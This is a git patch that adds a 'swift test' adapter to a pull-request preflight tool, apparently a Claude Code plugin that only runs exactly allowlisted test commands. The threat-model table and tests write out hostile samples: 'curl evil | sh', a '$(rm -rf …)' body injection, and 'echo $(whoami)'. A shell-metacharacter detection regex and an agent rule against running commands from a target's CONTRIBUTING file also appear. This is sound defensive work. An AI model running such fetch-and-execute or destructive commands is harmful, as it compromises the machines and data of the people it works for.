From 5929051aeaa6f1f328b94cdb4a4a1e82aa7a8156 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=90=C3=A1i=20Chung=20Hy?= Date: Sun, 23 Aug 2026 23:12:20 +0700 Subject: [PATCH] feat: add swift-test adapter --- README.md | 4 +-- adapters/swift-test/README.md | 6 ++++ adapters/swift-test/adapter.json | 6 ++++ adapters/swift-test/hints.yml | 3 ++ adapters/swift-test/tests/golden.json | 6 ++++ docs/ADAPTER_AUTHORING.md | 4 +-- docs/THREAT_MODEL.md | 2 +- fixtures/repos/swift-test/CONTRIBUTING.md | 3 ++ fixtures/repos/swift-test/LICENSE | 21 ++++++++++++ fixtures/repos/swift-test/Package.swift | 12 +++++++ .../Sources/SwiftTestFixture/Fixture.swift | 3 ++ skills/preflight/SKILL.md | 2 +- src/allowlist.ts | 5 ++- src/compile.ts | 5 +-- test/adapters.test.ts | 34 +++++++++++++++++-- test/threat.test.ts | 5 +++ 16 files changed, 109 insertions(+), 12 deletions(-) create mode 100644 adapters/swift-test/README.md create mode 100644 adapters/swift-test/adapter.json create mode 100644 adapters/swift-test/hints.yml create mode 100644 adapters/swift-test/tests/golden.json create mode 100644 fixtures/repos/swift-test/CONTRIBUTING.md create mode 100644 fixtures/repos/swift-test/LICENSE create mode 100644 fixtures/repos/swift-test/Package.swift create mode 100644 fixtures/repos/swift-test/Sources/SwiftTestFixture/Fixture.swift diff --git a/README.md b/README.md index 32bb753..1f46666 100644 --- a/README.md +++ b/README.md @@ -49,7 +49,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): `--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository. -`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository. +`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `swift test`). No pipes, no `&&`, no `$()`, shell expansion, or extra arguments. Default preflight only *records* commands already supplied; it does not run the target repository. `CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv. @@ -61,7 +61,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): - Golden fixtures under `fixtures/repos/` - Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`) - MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt` -- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test` (advisory `command_recorded` only unless `blockAdapters`) +- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `swift-test` (advisory `command_recorded` only unless `blockAdapters`) - Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md) ## What is not shipped diff --git a/adapters/swift-test/README.md b/adapters/swift-test/README.md new file mode 100644 index 0000000..80a8b5f --- /dev/null +++ b/adapters/swift-test/README.md @@ -0,0 +1,6 @@ +# swift-test + +Activates when the target tree has `Package.swift`. Adds an advisory `command_recorded` check for +the exact `swift test` argv unless `contribkit.yml` lists `swift-test` under `blockAdapters`. + +Does not execute `swift test` by default. Target-repository adapter folders are ignored. diff --git a/adapters/swift-test/adapter.json b/adapters/swift-test/adapter.json new file mode 100644 index 0000000..c259e5b --- /dev/null +++ b/adapters/swift-test/adapter.json @@ -0,0 +1,6 @@ +{ + "id": "swift-test", + "match": { "filesAny": ["Package.swift"] }, + "testCommand": "swift test", + "maxDiffLines": null +} diff --git a/adapters/swift-test/hints.yml b/adapters/swift-test/hints.yml new file mode 100644 index 0000000..57c9d0d --- /dev/null +++ b/adapters/swift-test/hints.yml @@ -0,0 +1,3 @@ +# Hints only. Never executed. +id: swift-test +testFamily: swift test diff --git a/adapters/swift-test/tests/golden.json b/adapters/swift-test/tests/golden.json new file mode 100644 index 0000000..3156168 --- /dev/null +++ b/adapters/swift-test/tests/golden.json @@ -0,0 +1,6 @@ +{ + "id": "swift-test", + "expectRuleId": "adapter-swift-test", + "expectCommand": "swift test", + "expectSeverity": "advisory" +} diff --git a/docs/ADAPTER_AUTHORING.md b/docs/ADAPTER_AUTHORING.md index b9e6ce3..6f0edd5 100644 --- a/docs/ADAPTER_AUTHORING.md +++ b/docs/ADAPTER_AUTHORING.md @@ -18,7 +18,7 @@ Create `adapters//adapter.json`: ``` The `id` must equal the directory name. `match.filesAny` is a non-empty list of repository paths; -`testCommand` must be one of the existing command shapes accepted by `src/allowlist.ts`. An adapter +`testCommand` must be one of the exact command shapes accepted by `src/allowlist.ts`. An adapter with an unknown command is reported as `needs-human` and is never executed. `maxDiffLines` is reserved for the contract rule that evaluates patch size; use `null` when the adapter has no limit. @@ -38,5 +38,5 @@ PR description must state whether the adapter is advisory or listed in `blockAda is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy. -The current bundled set is `python-pytest`, `node-npm-test`, and `go-test`. New adapters should have +The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, and `swift-test`. New adapters should have a real repository shape to match and should not be added only to increase the adapter count. diff --git a/docs/THREAT_MODEL.md b/docs/THREAT_MODEL.md index 2aa4d69..71e06db 100644 --- a/docs/THREAT_MODEL.md +++ b/docs/THREAT_MODEL.md @@ -17,7 +17,7 @@ | ID | Threat | Control | | --- | --- | --- | -| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. | +| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `swift test`). No pipes, no `&&`, no `$()`, shell expansion, extra arguments, or network helpers. Default: only *record* commands already in `recordedCommands`. | | T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. | | T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. | | T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. | diff --git a/fixtures/repos/swift-test/CONTRIBUTING.md b/fixtures/repos/swift-test/CONTRIBUTING.md new file mode 100644 index 0000000..ef92af3 --- /dev/null +++ b/fixtures/repos/swift-test/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the PR under 20 files / 400 lines. diff --git a/fixtures/repos/swift-test/LICENSE b/fixtures/repos/swift-test/LICENSE new file mode 100644 index 0000000..90539dd --- /dev/null +++ b/fixtures/repos/swift-test/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Fixture + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/fixtures/repos/swift-test/Package.swift b/fixtures/repos/swift-test/Package.swift new file mode 100644 index 0000000..a782e13 --- /dev/null +++ b/fixtures/repos/swift-test/Package.swift @@ -0,0 +1,12 @@ +// swift-tools-version: 5.9 +import PackageDescription + +let package = Package( + name: "SwiftTestFixture", + products: [ + .library(name: "SwiftTestFixture", targets: ["SwiftTestFixture"]), + ], + targets: [ + .target(name: "SwiftTestFixture"), + ] +) diff --git a/fixtures/repos/swift-test/Sources/SwiftTestFixture/Fixture.swift b/fixtures/repos/swift-test/Sources/SwiftTestFixture/Fixture.swift new file mode 100644 index 0000000..8b556b3 --- /dev/null +++ b/fixtures/repos/swift-test/Sources/SwiftTestFixture/Fixture.swift @@ -0,0 +1,3 @@ +public struct SwiftTestFixture { + public init() {} +} diff --git a/skills/preflight/SKILL.md b/skills/preflight/SKILL.md index 0d18bd6..48abcb4 100644 --- a/skills/preflight/SKILL.md +++ b/skills/preflight/SKILL.md @@ -16,6 +16,6 @@ node dist/src/cli.js preflight --repo . --base HEAD A tree with no diff against `--base` should `pass`. `command_recorded` and PR-body checks apply only when there are local changes. -`--run-tests` is opt-in and only runs allowlisted argv (`npm test`, `pytest`, `cargo test`, `go test`, …). Never execute commands copied from the target `CONTRIBUTING` file. +`--run-tests` is opt-in and only runs exact allowlisted argv (`npm test`, `pytest`, `cargo test`, `go test`, `swift test`, …). Never execute commands copied from the target `CONTRIBUTING` file. If the receipt is `blocked`, fix the listed rule ids. `needs-human` means a person must review (for example CODEOWNERS or workflow files); it is not a merge approval. diff --git a/src/allowlist.ts b/src/allowlist.ts index 4e4768d..4a572a7 100644 --- a/src/allowlist.ts +++ b/src/allowlist.ts @@ -13,9 +13,10 @@ export const TEST_ARGV_FAMILIES: readonly (readonly string[])[] = [ ["python", "-m", "pytest"], ["cargo", "test"], ["go", "test"], + ["swift", "test"], ]; -const SHELL_META = /[|;&`$<>()]/; +const SHELL_META = /[|;&`$<>()*?~{}\[\]]/; export function hasShellMeta(command: string): boolean { if (SHELL_META.test(command)) return true; @@ -73,6 +74,7 @@ export function inferTestCommand(hints: { mentionsPytest?: boolean; mentionsCargo?: boolean; mentionsGo?: boolean; + mentionsSwift?: boolean; }): string | undefined { if (hints.policyCommand !== undefined) { return allowlistedArgv(hints.policyCommand) ? hints.policyCommand.trim() : undefined; @@ -85,5 +87,6 @@ export function inferTestCommand(hints: { if (hints.mentionsPytest) return "pytest"; if (hints.mentionsCargo) return "cargo test"; if (hints.mentionsGo) return "go test"; + if (hints.mentionsSwift) return "swift test"; return undefined; } diff --git a/src/compile.ts b/src/compile.ts index 943da83..981eb21 100644 --- a/src/compile.ts +++ b/src/compile.ts @@ -25,7 +25,7 @@ const SIZE_FILES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+file const SIZE_LINES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+(?:diff\s+)?lines?\b/i; const TEST_COMMAND_LINE = /(?:^|\n)\s*test(?:s)?\s*[:=]\s*(.+)/i; const ALLOWED_TEST_MENTION = - /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test)\b/i; + /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test|swift test)\b/i; const AI_REQUIRE = /(?:\b(ai|llm|claude|codex)\b.{0,80}\b(disclos|must mention|required|declare)\b|\b(disclos|must mention|declare).{0,80}\b(ai|llm|claude|codex)\b)/i; const DCO_REQUIRE = /(?:require[sd]?|must).{0,40}signed-off-by|signed-off-by.{0,40}(?:required|must)/i; @@ -339,6 +339,7 @@ export async function compile(options: CompileOptions): Promise { - it("loads python-pytest, node-npm-test, and go-test sorted by id", () => { + it("loads bundled adapters sorted by id", () => { const adapters = loadBundledAdapters(); - expect(adapters.map((item) => item.id)).toEqual(["go-test", "node-npm-test", "python-pytest"]); + expect(adapters.map((item) => item.id)).toEqual([ + "go-test", + "node-npm-test", + "python-pytest", + "swift-test", + ]); }); it("matches golden.json command families", () => { - for (const id of ["go-test", "node-npm-test", "python-pytest"]) { + for (const id of ["go-test", "node-npm-test", "python-pytest", "swift-test"]) { const golden = JSON.parse( readFileSync(join(repoRoot, "adapters", id, "tests", "golden.json"), "utf8"), ) as { expectRuleId: string; expectCommand: string; expectSeverity: string }; @@ -31,4 +37,26 @@ describe("bundled adapters", () => { expect(rule?.severity).toBe("advisory"); expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); }); + + it("swift-test fixture records the exact allowlisted command and runs it only when opted in", async () => { + const repo = await stageFixture("swift-test"); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === "adapter-swift-test"); + expect(rule?.check).toBe("command_recorded"); + expect(rule?.command).toBe("swift test"); + expect(rule?.severity).toBe("advisory"); + + let invoked: readonly string[] | undefined; + const { receipt } = await preflight({ + repoPath: repo, + baseRef: "HEAD", + runTests: true, + executeCommand: async (argv) => { + invoked = [...argv]; + return { exitCode: 0, stdout: "swift test fixture", stderr: "" }; + }, + }); + expect(invoked).toEqual(["swift", "test"]); + expect(receipt.findings.some((item) => item.ruleId === "adapter-swift-test" && item.passed)).toBe(true); + }); }); diff --git a/test/threat.test.ts b/test/threat.test.ts index 956e3bd..b78a430 100644 --- a/test/threat.test.ts +++ b/test/threat.test.ts @@ -46,6 +46,11 @@ describe("threat model", () => { expect(allowlistedArgv("echo $(whoami)")).toBeUndefined(); expect(allowlistedArgv("npm test")).toEqual(["npm", "test"]); expect(allowlistedArgv("python -m pytest")).toEqual(["python", "-m", "pytest"]); + expect(allowlistedArgv("swift test")).toEqual(["swift", "test"]); + expect(hasShellMeta("swift test *")).toBe(true); + for (const command of ["swift testing", "swift test --parallel", "swift test *", "swift test | cat"]) { + expect(allowlistedArgv(command)).toBeUndefined(); + } }); it("T2: unknown contribkit.yml keys are needs-human and never execute", async () => {